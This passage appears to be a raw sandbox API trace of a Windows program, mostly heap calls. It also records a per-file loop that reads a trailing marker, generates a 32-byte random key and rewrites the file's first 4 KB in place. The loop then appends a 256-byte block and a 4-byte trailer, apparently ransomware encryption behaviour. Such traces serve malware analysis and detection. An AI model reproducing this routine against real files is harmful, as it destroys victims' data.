lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.007] GetProcessHeap () returned 0x540000 [0090.007] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.008] GetProcessHeap () returned 0x540000 [0090.008] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.008] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.009] GetProcessHeap () returned 0x540000 [0090.009] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.010] GetProcessHeap () returned 0x540000 [0090.010] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.010] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.011] SetFilePointerEx (in: hFile=0xa1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.011] WriteFile (in: hFile=0xa1c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.011] WriteFile (in: hFile=0xa1c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.011] GetProcessHeap () returned 0x540000 [0090.011] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.012] CloseHandle (hObject=0xa1c) returned 1 [0090.013] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 169 [0090.013] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.013] ReadFile (in: hFile=0xa20, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.013] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.013] GetProcessHeap () returned 0x540000 [0090.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.013] GetProcessHeap () returned 0x540000 [0090.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.013] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.013] GetProcessHeap () returned 0x540000 [0090.013] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.013] ReadFile (in: hFile=0xa20, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.117] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.117] WriteFile (in: hFile=0xa20, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0090.117] GetProcessHeap () returned 0x540000 [0090.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0090.117] GetProcessHeap () returned 0x540000 [0090.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.117] GetProcessHeap () returned 0x540000 [0090.117] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0090.117] GetProcessHeap () returned 0x540000 [0090.117] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.117] GetProcessHeap () returned 0x540000 [0090.117] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0090.117] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.118] GetProcessHeap () returned 0x540000 [0090.118] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.118] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0090.119] GetProcessHeap () returned 0x540000 [0090.119] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x1f8) returned 0x573730 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x573730 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.120] GetProcessHeap () returned 0x540000 [0090.120] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3340258 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.121] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0090.121] GetProcessHeap () returned 0x540000 [0090.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0090.122] GetProcessHeap () returned 0x540000 [0090.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0090.122] SetFilePointerEx (in: hFile=0xa20, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.122] WriteFile (in: hFile=0xa20, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0090.122] WriteFile (in: hFile=0xa20, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0090.122] GetProcessHeap () returned 0x540000 [0090.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0090.122] GetProcessHeap () returned 0x540000 [0090.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0090.122] GetProcessHeap () returned 0x540000 [0090.122] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0090.122] CloseHandle (hObject=0xa20) returned 1 [0090.124] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 170 [0090.124] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.124] ReadFile (in: hFile=0xa24, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0090.124] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.124] GetProcessHeap () returned 0x540000 [0090.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0090.124] GetProcessHeap () returned 0x540000 [0090.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0090.124] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0090.124] GetProcessHeap () returned 0x540000 [0090.124] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0090.124] ReadFile (in: hFile=0xa24, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0090.486] SetFilePointerEx (in: hFile=0xa24, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0090.487] WriteFile (in: hFile=0xa24, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, 